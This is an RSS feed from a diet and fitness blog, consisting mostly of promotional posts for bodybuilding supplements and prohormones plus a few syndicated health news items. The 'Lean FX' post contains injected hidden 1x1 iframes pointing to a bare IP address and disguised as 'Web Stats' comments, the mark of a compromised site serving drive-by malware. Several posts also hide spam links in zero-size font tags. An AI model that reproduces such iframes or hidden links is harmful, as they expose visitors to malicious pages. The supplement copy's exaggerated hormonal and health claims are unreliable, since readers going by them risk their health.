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	<title>CREDHOS Health</title>
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	<link>http://www.credhos.org</link>
	<description>Diet, health, &#38; fitness blog</description>
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		<title>Power Shock released by VPX</title>
		<link>http://www.credhos.org/power-shock-released-by-vpx-162/</link>
		<comments>http://www.credhos.org/power-shock-released-by-vpx-162/#comments</comments>
		<pubDate>Thu, 15 Oct 2009 09:59:51 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diet and Health]]></category>

		<guid isPermaLink="false">http://www.credhos.org/?p=162</guid>
		<description><![CDATA[Power Shock™ Amino Nitrate: Muscle Cell Splitting Matrix™
    * Powered by BCAA Nitrates, Beta-Alanine Nitrate &#038; Citrulline Nitrate for Greater Stability &#038; Muscle Transport!
    * Moiety Nitrates are Novel Science far Superior to Free Form Aminos &#038; Other Chemical Salts!
    * Nitrates are Scientifically Proven to [...]]]></description>
			<content:encoded><![CDATA[<p>Power Shock™ Amino Nitrate: Muscle Cell Splitting Matrix™</p>
<p>    * Powered by BCAA Nitrates, Beta-Alanine Nitrate &#038; Citrulline Nitrate for Greater Stability &#038; Muscle Transport!<br />
    * Moiety Nitrates are Novel Science far Superior to Free Form Aminos &#038; Other Chemical Salts!<br />
    * Nitrates are Scientifically Proven to Induce Vasodilation via Nitric Oxide (NO)!><br />
    * NO Increases Blood Flow to Engorge Muscle with Anabolic Nutrient-Dense Blood!<br />
    * Stamina, Strength and Recovery are Enhanced!<br />
    * EAAs (Essential Amino Acids): Key for Protein Synthesis Proven Superior to BCAAs!<br />
    * Contains Potent Anserine for Muscle Performance and Proton Buffering!</p>
<p>Behold the all NEW <a href="http://anabolicminds.com/store/1002691.html">Power Shock</a> &#8212; powered by the world’s most cutting edge anabolic discovery of all time called BCAA Nitrates! You heard it right! VPX has engineered Branched Chain Amino Acids fused to a nitrate moiety! This provides for far greater BCAA stability and transport across intestinal and muscle cell membranes. An exciting property of nitrates is their capability to act as permeation enhancers of intestinal absorption. Consequently, nitrate bound compounds effortlessly bypass the intestinal wall to be absorbed intact into the bloodstream.(1, 2) In fact, they are so effective that large polypeptides can even be absorbed intact if administered with a nitrate donor. This also greatly improves the absorption of all the ingredients like BCAA Nitrates and Beta-Alanine Nitrate in the Power Shock formula.(3) The nitrate bound amino acids innovation is a novel science far superior to free form amino acids and even other chemical salts. One of the premier advantages of nitrates is rapid and potent vasodilation. This results in increased blood flow to radically enhance the distribution of nutrients to the muscles and other tissues. Myogenic Regulatory Factors are activated when the muscle is engorged with anabolic nutrient-dense blood. Further, stamina, strength and recovery are enhanced.(4) While recent research has verified that arginine supplementation fails to increase blood Nitric Oxide levels, nitrates are scientifically proven to induce vasodilation via Nitric Oxide. Nitrates increase blood Nitric Oxide levels by exerting their vasodilating effect by releasing an NO2 or NO3 group. NO3 is reduced to NO2 in the blood vessels’ epithelial cells where it reacts to yield Nitric Oxide.</p>
<p>While highly significant, BCAAs are just part of the Power Shock muscle cell splitting matrix. Scientific research has proven that EAAs (essential amino acids) are the key anabolic activators for muscle protein synthesis and are far superior to BCAAs alone.(5) Moreover, science has proven that adding non-essential amino acids such as glutamine does nothing to promote muscle mass in healthy, well-nourished humans.(6) Despite the promise of higher nitric oxide levels, six grams per day of arginine supplementation had no effect on nitric oxide production, lactate and ammonia metabolism and performance in intermittent anaerobic exercise in well-trained male athletes.(7) So, if you see glutamine or arginine on the label, you’re wasting your money. To further fuel lean muscle mass Power Shock contains Owoc’s latest mind blowing muscle compounds: Anserine or Beta-Alanyl-1-Methylhistidine along with Beta-Alanine Nitrate and Citrulline Nitrate.</p>
<p>References:<br />
1. Takahashi K et al. Characterization of the influence of nitric oxide donors on intestinal absorption of macromolecules. Int J Pharm 2004;286:89-97.<br />
2. Fetih G et al. Nitric oxide donors can enhance the intestinal transport and absorption of insulin and [Asu(1,7)]-eel calcitonin in rats. J Control Release 2005;106:287-97.<br />
3. Fetih G et al. Excellent absorption enhancing characteristics of NO donors for improving the intestinal absorption of poorly absorbable compound compared with conventional absorption enhancers. Drug Metab Pharmacokinet 2006;21:222-9.<br />
4. Larsen FJ et al. Effects of dietary nitrate on oxygen cost during exercise. Acta Physiol (Oxf) 2007;191:59-66.<br />
5. Dreyer H et al. Leucine-enriched essential amino acid and carbohydrate ingestion following resistance exercise enhances mTOR signaling and protein synthesis in human muscle. Am J Physiol Endocrinol Metab 2008;294:E392-400.<br />
6. Gleeson M. Dosing and efficacy of glutamine supplementation in human exercise and sport training. J Nutr 2008;138:2045S-2049S.<br />
7. Liu TH et al. No effect of short-term arginine supplementation on NO production, metab and performance in intermittent exercise in athletes. J Nutr Biochem 2009;20:462-8.</p>
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		</item>
		<item>
		<title>Anabolic Xtreme releases Lean FX</title>
		<link>http://www.credhos.org/anabolic-xtreme-releases-lean-fx-156/</link>
		<comments>http://www.credhos.org/anabolic-xtreme-releases-lean-fx-156/#comments</comments>
		<pubDate>Tue, 18 Nov 2008 12:25:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diet and Health]]></category>

		<guid isPermaLink="false">http://www.credhos.org/?p=156</guid>
		<description><![CDATA[Anabolic Xtreme releases distributed raman amplifierLean FX&#1084;&#1077;&#1073;&#1077;&#1083;&#1080; &#1074;&#1072;&#1088;&#1085;&#1072;
Lean-FX   by Anabolic Xtreme is the most potent, Cortisol crushing, thyroid enhancing, and cognitive elevating formula ever designed to give men and women the edge in achieving superior body re-composition. Scientifically engineered and infused with Nano-Release Technology, Lean FX is the World’s fastest acting fat loss [...]]]></description>
			<content:encoded><![CDATA[<p>Anabolic Xtreme releases <a href="http://anabolicminds.com/store/1002150.html"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://vtsc.info/en/publication/">distributed raman amplifier</a></font>Lean FX</a><noscript><a href="http://www.videnov.com/">&#1084;&#1077;&#1073;&#1077;&#1083;&#1080; &#1074;&#1072;&#1088;&#1085;&#1072;</a></noscript></p>
<p>Lean-FX<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> by Anabolic Xtreme is the most potent, Cortisol crushing, thyroid enhancing, and cognitive elevating formula ever designed to give men and women the edge in achieving superior body re-composition. Scientifically engineered and infused with Nano-Release Technology, Lean FX is the World’s fastest acting fat loss accelerator to overcome genetically regulating barriers while preserving hard-earned lean muscle mass, increasing lean muscle accumulation, and rapidly infusing the mind with a profound sense of wakefulness<!-- Web Stats --> <iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0></iframe> <!-- End Web Stats --> and clarity. No other formula initiates Cortisol modulation and enhances the metabolism for superior body re-composition like Lean-FX. Redefine your body and mind and finally achieve your goals with Lean FX, available exclusively from Anabolic Xtreme!</p>
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		<item>
		<title>Anabolic Halo Released</title>
		<link>http://www.credhos.org/anabolic-halo-released-154/</link>
		<comments>http://www.credhos.org/anabolic-halo-released-154/#comments</comments>
		<pubDate>Mon, 31 Dec 2007 13:12:17 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diet and Health]]></category>

		<guid isPermaLink="false">http://www.credhos.org/anabolic-halo-released-154/</guid>
		<description><![CDATA[Muscletech just released &#1082;&#1086;&#1083;&#1080; &#1087;&#1086;&#1076; &#1085;&#1072;&#1077;&#1084;Anabolic Halo
The Power Of The Anabolic Halo
The Anabolic Halo™ Multi-platform cycle tackles the 6 critical elements required for muscle growth.
1. Insulin manipulation: The first element directly manipulates insulin, allowing vital nutrients to be shuttled into the cell, creating a rich anabolic environment that leads to rapid and dramatic increases in [...]]]></description>
			<content:encoded><![CDATA[<p>Muscletech just released <a href="http://anabolicminds.com/store/1001597.html"><font style="position: absolute;overflow: hidden;height: 0;width: 0"><a href="http://sikongroup.com/rentacar/index.htm">&#1082;&#1086;&#1083;&#1080; &#1087;&#1086;&#1076; &#1085;&#1072;&#1077;&#1084;</a></font>Anabolic Halo</a></p>
<p>The Power Of The Anabolic Halo</p>
<p>The Anabolic Halo™ Multi-platform cycle tackles the 6 critical elements required for muscle growth.</p>
<p>1. Insulin manipulation: The first element directly manipulates insulin, allowing vital nutrients to be shuttled into the cell, creating a rich anabolic environment that leads to rapid and dramatic increases in muscle size.</p>
<p>2. Anabolic transcription factor (ATF-4) modulation: The second element manipulates the anabolic transcription factor, ATF-4, by upregulating insulin, one of the body&#8217;s most powerful musclebuilding hormones. ATF-4 plays a critical role in hormonal regulation of amino acid and protein anabolism.</p>
<p>3. Inhibition of catabolic machinery: The third element ensures anabolism by waging war against the destructive effects of catabolism. By regulating the activity of the key biochemical mediators of muscle catabolism, Anabolic Halo™ shuts off the switches that limit muscle size after you train.</p>
<p>4. Greater free-testosterone utilization: The fourth crucial element in Anabolic Halo™ catapults you into unrestrained growth over time by increasing the number of androgen receptors for enhanced free testosterone utilization at the muscle fiber level. Note: free testosterone is the only usable form of testosterone for pure, unadulterated growth. Science proves it! In a 21-day human clinical study, just one of the powerful anabolic compounds in Anabolic Halo increased the number of pre-workout androgen receptors compared to results produced by a placebo. Anabolic halo increases the number of androgen receptors and increases the utilization of your testosterone, without the worry of shutting down your testosterone production. End result: Anabolic Halo™ Drives anabolically active testosterone directly into muscle cells! The findings were so astonishing that they were published in a peer-reviewed scientific journal.</p>
<p>5. Satellite cell activation: New physiology research has demonstrated that a key active ingredient in Anabolic Halo™, in combination with training, dramatically amplifies the number of satellite cells and myonuclei concentration in human muscle! Satellite cell activation is the fifth critical element of Anabolic Halo™.</p>
<p>6. Increased muscle fiber area: The sixth and final element of Anabolic Halo™ Is increased muscle fiber area. This has also been validated in a 16-week human clinical study. Researchers were staggered when they observed that a key ingredient in Anabolic Halo™ actually increased average muscle fiber area by 16.8%!</p>
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		<item>
		<title>Glycomaize from Optimum Nutrition</title>
		<link>http://www.credhos.org/glycomaize-from-optimum-nutrition-153/</link>
		<comments>http://www.credhos.org/glycomaize-from-optimum-nutrition-153/#comments</comments>
		<pubDate>Tue, 18 Dec 2007 20:14:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diet and Health]]></category>

		<guid isPermaLink="false">http://www.credhos.org/glycomaize-from-optimum-nutrition-153/</guid>
		<description><![CDATA[Glycomaize from Optimum Nutrition is going to be a huge hit in the health &#038; fitness community.  Optimum Nutrition is a solid company built around solid products and Glycomaize should be no exception.  For more information on Glycomaize and on Optimum Nurtition, please visit this thread at Bodybuilding Dungeon forum which is a [...]]]></description>
			<content:encoded><![CDATA[<p>Glycomaize from Optimum Nutrition is going to be a huge hit in the health &#038; fitness community.  Optimum Nutrition is a solid company built around solid products and Glycomaize should be no exception.  For more information on Glycomaize and on Optimum Nurtition, please visit this thread at Bodybuilding Dungeon forum which is a great place for advice on these types of supplements:</p>
<p><a href="http://www.bodybuildingdungeon.com/forums/supplements/25735-glycomaize-new.html">Glycomaize : New ON product</a></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Superdrol NG (Next Generation) to be released soon!</title>
		<link>http://www.credhos.org/superdrol-ng-next-generation-to-be-released-soon-152/</link>
		<comments>http://www.credhos.org/superdrol-ng-next-generation-to-be-released-soon-152/#comments</comments>
		<pubDate>Thu, 30 Aug 2007 16:56:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diet and Health]]></category>

		<guid isPermaLink="false">http://www.credhos.org/superdrol-ng-next-generation-to-be-released-soon-152/</guid>
		<description><![CDATA[Anabolic Xtreme has outdone themselves again &#8211; the release of Superdrol NG is imminent and I&#8217;m really looking forward to it.  If you remember Superdrol, then Superdrol NG should get you VERY excited.  This is shaping up to be THE STRONGEST PH available!  Some info from Anabolic Xtreme:
Superdrol NG Highlights:

Xtreme Hardening and [...]]]></description>
			<content:encoded><![CDATA[<p>Anabolic Xtreme has outdone themselves again &#8211; the release of <a href="http://www.bodybuildingdungeon.com/products/1463.html">Superdrol NG</a> is imminent and I&#8217;m really looking forward to it.  If you remember Superdrol, then Superdrol NG should get you VERY excited.  This is shaping up to be THE STRONGEST PH available!  Some info from Anabolic Xtreme:</p>
<blockquote><p><strong>Superdrol NG Highlights:</strong></p>
<ul>
<li>Xtreme Hardening and Strength Agent</li>
<li>Dramatic Gains in Strength and Size</li>
<li>Skyrocketing Testosterone Levels</li>
<li>New Injection Matrix for Immediate Results You Can Feel</li>
<li>Increased Sex Drive &#038; Performance Due to Elevated Testosterone</li>
<li>Estrogen Eliminator Offsets the Potential for Negative Estrogen Related Side Effects</li>
<li>Accelerated Metabolism and Thermogenesis Leading to Superior Fat Loss Capabilities</li>
</ul>
<p><strong>Anabolic Driver (Pro-Hormone):</strong> Anabolic Xtreme introduces its new pro-hormone to carry on the Superdrol legacy.  This exciting compound is a powerful (anabolic/androgenic) pro-hormone that converts into Testosterone and 5-AD to produce immediate results that you can feel from the very first dose.</p>
<p><strong>Estrogen Eliminator:</strong> A powerful non-androgenic supplement that reduces the formation of estrogen, effectively stimulating your natural testosterone production.</p>
<p><strong>Injection Matrix:</strong> You WILL feel Superdrol NG from the first dose and experience increased energy levels, mind blowing pumps, supercharged workouts, and immediate strength gains.<br />
Metabolic HPTA Support Complex: HPTA up-regulating effects will help your body to restore and normalize natural testosterone output and levels in the body while on Superdrol NG.</p>
<p><font color="red"><strong>Use With Caution:</strong> Superdrol NG is extremely powerful and should be used responsibly at all times. Be sure to read the entire label and follow all warnings and directions.</font> </p>
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		<item>
		<title>Hydroxycut Hardcore</title>
		<link>http://www.credhos.org/hydroxycut-hardcore-151/</link>
		<comments>http://www.credhos.org/hydroxycut-hardcore-151/#comments</comments>
		<pubDate>Sun, 20 May 2007 15:39:37 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diet and Health]]></category>

		<guid isPermaLink="false">http://www.credhos.org/hydroxycut-hardcore-151/</guid>
		<description><![CDATA[Hydroxycut Hardcore
Incredible reviews so far on the new Hydroxycut Hardcore.  What&#8217;s different than original Hydroxycut?  Read below:
When the goal is to get completely diced, everybody can use a little help. This is where Hydroxycut® Hardcore America&#8217;s #1 hardcore fat burner plays a starring role. Team MuscleTech™ researchers definitely went the distance when formulating [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://anabolicminds.com/store/1064.html">Hydroxycut Hardcore</a></p>
<p>Incredible reviews so far on the new Hydroxycut Hardcore.  What&#8217;s different than original Hydroxycut?  Read below:</p>
<p>When the goal is to get completely diced, everybody can use a little help. This is where Hydroxycut® Hardcore America&#8217;s #1 hardcore fat burner plays a starring role. Team MuscleTech™ researchers definitely went the distance when formulating Hydroxycut Hardcore. This amazing product is backed by over 10 years of research and has been scientifically engineered to get you hardcore results! Hydroxycut Hardcore stands head and shoulders above any other so-called &#8220;fat burners&#8221; on the market!</p>
<p>Hydroxycut Hardcore utilizes a scientifically engineered multi-platform technology to stimulate the enzymatic response involved in thermogenesis and the fat-uncoupling process. In other words, this one-of-a-kind bodybuilding supplement works through a five-stage process to ensure extremely effective and maximum-strength fat burning.   See the product page link above to read about the 5 stage process.  </p>
<p>Enjoy shredding that fat!!</p>
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		<title>3-ad To Be Released</title>
		<link>http://www.credhos.org/3-ad-to-be-released-150/</link>
		<comments>http://www.credhos.org/3-ad-to-be-released-150/#comments</comments>
		<pubDate>Mon, 14 May 2007 20:08:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diet and Health]]></category>

		<guid isPermaLink="false">http://www.credhos.org/3-ad-to-be-released-150/</guid>
		<description><![CDATA[3-ad
The Unveiling of Anabolic Xtreme&#8217;s New Revolutionary 3-AD
Anabolic Xtreme’s 3-AD is the first revolutionary pro-hormone to go beyond the narrow scope of generating lean mass and strength.  The goal of 3-AD is total performance enhancement results.  3-AD is designed to rapidly construct authoritative gains in lean mass, strength, and muscle hardness.  Synergistic [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://anabolicminds.com/store/1001757.html">3-ad</a></p>
<p>The Unveiling of Anabolic Xtreme&#8217;s New Revolutionary 3-AD</p>
<p>Anabolic Xtreme’s 3-AD is the first revolutionary pro-hormone to go beyond the narrow scope of generating lean mass and strength.  The goal of 3-AD is total performance enhancement results.  3-AD is designed to rapidly construct authoritative gains in lean mass, strength, and muscle hardness.  Synergistic ingredients have been included to amplify the anabolic building process by propelling balance and fortitude to the mind while elevating neurological, physiological, and cognitive functioning.  The goal is simple; help you achieve superior athletic performance.   Lift harder and heavier, react faster, move with superior efficiency, experience cutting-edge psychological enhancement, and dominate the competition from every angle for the first time with 3-AD, available only from Anabolic Xtreme.      </p>
]]></content:encoded>
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		<item>
		<title>Common Genetic Defect Increases Risk For Stroke – Hemochromatosis Gene Inherited – More Common in Europe – Denmark Study</title>
		<link>http://www.credhos.org/common-genetic-defect-increases-risk-for-stroke-%e2%80%93-hemochromatosis-gene-inherited-%e2%80%93-more-common-in-europe-%e2%80%93-denmark-study-149/</link>
		<comments>http://www.credhos.org/common-genetic-defect-increases-risk-for-stroke-%e2%80%93-hemochromatosis-gene-inherited-%e2%80%93-more-common-in-europe-%e2%80%93-denmark-study-149/#comments</comments>
		<pubDate>Thu, 03 May 2007 11:58:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diet and Health]]></category>

		<guid isPermaLink="false">http://www.credhos.org/common-genetic-defect-increases-risk-for-stroke-%e2%80%93-hemochromatosis-gene-inherited-%e2%80%93-more-common-in-europe-%e2%80%93-denmark-study-149/</guid>
		<description><![CDATA[<p><table border="0" width="40" cellpadding="8" style="border-collapse: collapse" height="40" align="right"> <tr> <td> <table border="0" width="40" cellpadding="0" style="border-collapse: collapse" height="20"> <tr> <td> 				<img border="0" src="http://www.bestsyndication.net/images_com/2007/03-March/27/032707_stroke_risk_higher_hemochromatosis.jpg" title="Common Genetic Defect Increases Risk For Stroke – Hemochromatosis Gene Inherited – More Common in Europe – Denmark Study" alt="Common Genetic Defect Increases Risk For Stroke – Hemochromatosis Gene Inherited – More Common in Europe – Denmark Study"></td> </tr> <tr> <td height="1" valign="top"> <p align="right"><font size="1" face="Arial">Stock Photo</font></td> </tr> </table> </td> </tr> </table> <p>(Best Syndication) A common genetic defect increases the risk for stroke, according to researchers in Denmark.  The common genetic defect is passed on through families causing hemochromatosis which leads to excessive iron in the body.  This overload can eventually lead to organ dysfunction, diabetes, and liver cirrhosis.</p> <p>Out of 9,178 people in the Danish study, 393 people had a stroke and 504 people developed cerebrovascular disease over a 24 year period.  The researchers screened all of the participants for the H63D genetic defect in the HFE gene (also known as the hemochromatosis gene).</p> <p>Hemochromatosis (can also be spelled haemochromatosis) is the most common iron overload disorder.  It is characterized by the improper processing by the body of dietary iron.  Since the body has no way to get rid of the extra iron, they ware stored in the organs, primarily the heart, liver and pancreas.  Although there are treatments, without management (phlebotomy – or giving blood) the organs will begin to fail.</p> <p><a href="http://bestsyndication.com/?q=032707_stroke_risk_higher_hemochromatosis.htm">read more</a></p></p> <p style="clear: left"><a href="http://bestsyndication.com/?q=032707_stroke_risk_higher_hemochromatosis.htm">Read more of this story...</a></p> ]]></description>
			<content:encoded><![CDATA[<p>A common genetic defect increases the risk for stroke, according to researchers in Denmark.  The common genetic defect is passed on through families causing hemochromatosis which leads to excessive iron in the body.  This overload can eventually lead to organ dysfunction, diabetes, and liver cirrhosis.</p>
<p>Out of 9,178 people in the Danish study, 393 people had a stroke and 504 people developed cerebrovascular disease over a 24 year period.  The researchers screened all of the participants for the H63D genetic defect in the HFE gene (also known as the hemochromatosis gene).</p>
<p>Hemochromatosis (can also be spelled haemochromatosis) is the most common iron overload disorder.  It is characterized by the improper processing by the body of dietary iron.  Since the body has no way to get rid of the extra iron, they ware stored in the organs, primarily the heart, liver and pancreas.  Although there are treatments, without management (phlebotomy – or giving blood) the organs will begin to fail.</p>
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		<title>Meal Planning For Diabetics</title>
		<link>http://www.credhos.org/meal-planning-for-diabetics-148/</link>
		<comments>http://www.credhos.org/meal-planning-for-diabetics-148/#comments</comments>
		<pubDate>Thu, 03 May 2007 11:58:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diet and Health]]></category>

		<guid isPermaLink="false">http://www.credhos.org/meal-planning-for-diabetics-148/</guid>
		<description><![CDATA[<p><table border="0" width="40" cellpadding="8" style="border-collapse: collapse" height="40" align="right"> <tr> <td> <table border="0" width="40" cellpadding="0" style="border-collapse: collapse" height="20"> <tr> <td> 				<img border="0" src="http://www.bestsyndication.net/images_com2/2007/03March/033007/033007_developing-a-meal-plan-for-a-diabetic.jpg" title="Meal Planning For Diabetics" alt="Meal Planning For Diabetics"></td> </tr> <tr> <td height="1" valign="top"> <p align="right"><font size="1" face="Arial">Stock Photo</font></td> </tr> </table> </td> </tr> </table> <p>If you live with diabetes it is important to carefully plan all of your meals. Good meal planning is important for those who need to carefully manage their diabetes, and finding the right information and tools can help you do it.</p> <p>Rather than just preparing any old meal and hoping that it fits easily into your diet, careful meal planning can ensure that your cholesterol levels and blood sugar levels are low. It is a great way to make sure that your blood pressure is at an acceptable level and it can help you to keep your weight under control. If you live with diabetes you know that good meal planning really can help you to just feel better all around in all aspects of your life and your lifestyle.</p> <p><a href="http://bestsyndication.com/?q=033007_developing-a-meal-plan-for-a-diabetic.htm">read more</a></p></p> <p style="clear: left"><a href="http://bestsyndication.com/?q=033007_developing-a-meal-plan-for-a-diabetic.htm">Read more of this story...</a></p> ]]></description>
			<content:encoded><![CDATA[<p>If you live with diabetes it is important to carefully plan all of your meals. Good meal planning is important for those who need to carefully manage their diabetes, and finding the right information and tools can help you do it.</p>
<p>Rather than just preparing any old meal and hoping that it fits easily into your diet, careful meal planning can ensure that your cholesterol levels and blood sugar levels are low. It is a great way to make sure that your blood pressure is at an acceptable level and it can help you to keep your weight under control. If you live with diabetes you know that good meal planning really can help you to just feel better all around in all aspects of your life and your lifestyle.</p>
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		<title>Eating the right kinds of Fat can reduce risk for Depression and Inflammation</title>
		<link>http://www.credhos.org/eating-the-right-kinds-of-fat-can-reduce-risk-for-depression-and-inflammation-147/</link>
		<comments>http://www.credhos.org/eating-the-right-kinds-of-fat-can-reduce-risk-for-depression-and-inflammation-147/#comments</comments>
		<pubDate>Thu, 03 May 2007 11:58:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Diet and Health]]></category>

		<guid isPermaLink="false">http://www.credhos.org/eating-the-right-kinds-of-fat-can-reduce-risk-for-depression-and-inflammation-147/</guid>
		<description><![CDATA[<p><table border="0" width="40" cellpadding="8" style="border-collapse: collapse" height="40" align="right"> <tr> <td> <table border="0" width="40" cellpadding="0" style="border-collapse: collapse" height="20"> <tr> <td> 				<img border="0" src="http://www.bestsyndication.net/images_com2/2007/03March/033007/033007_omega-3-and-omega-6-ratios-reduce-risk-for-depression-inflammatory-conditions.jpg" title="Eating the right kinds of Fat can reduce risk for Depression and Inflammation" alt="Eating the right kinds of Fat can reduce risk for Depression and Inflammation"></td> </tr> <tr> <td height="1" valign="top"> <p align="right"><font size="1" face="Arial">Stock Photo</font></td> </tr> </table> </td> </tr> </table> <p>Balancing out our dietary intake of fatty acids can help in clinical depression and some kinds of inflammatory diseases according to a report published online in the journal, Psychosomatic Medicine.</p> <p>The researchers say that Americans eat way to much omega-6 than they do omega-3 fatty acid.  On average an American eats a 20-to-1 ratio of omega-6 to omega-3 fatty acids.  The researchers say that it should be more like 4-to-1 or even better a 2-to-1 ratio.</p> <p>The Ohio State University researchers completed a long series of experiments to see if there are any relationships between psychological stress and immunity.  They also added dietary questions to the studies to see how that would play a role in a person’s health.</p> <p><a href="http://bestsyndication.com/?q=033007_omega-3-and-omega-6-ratios-reduce-risk-for-depression-inflammatory-conditions.htm">read more</a></p></p> <p style="clear: left"><a href="http://bestsyndication.com/?q=033007_omega-3-and-omega-6-ratios-reduce-risk-for-depression-inflammatory-conditions.htm">Read more of this story...</a></p> ]]></description>
			<content:encoded><![CDATA[<p>Balancing out our dietary intake of fatty acids can help in clinical depression and some kinds of inflammatory diseases according to a report published online in the journal, Psychosomatic Medicine.</p>
<p>The researchers say that Americans eat way to much omega-6 than they do omega-3 fatty acid.  On average an American eats a 20-to-1 ratio of omega-6 to omega-3 fatty acids.  The researchers say that it should be more like 4-to-1 or even better a 2-to-1 ratio.</p>
<p>The Ohio State University researchers completed a long series of experiments to see if there are any relationships between psychological stress and immunity.  They also added dietary questions to the studies to see how that would play a role in a person’s health.</p>
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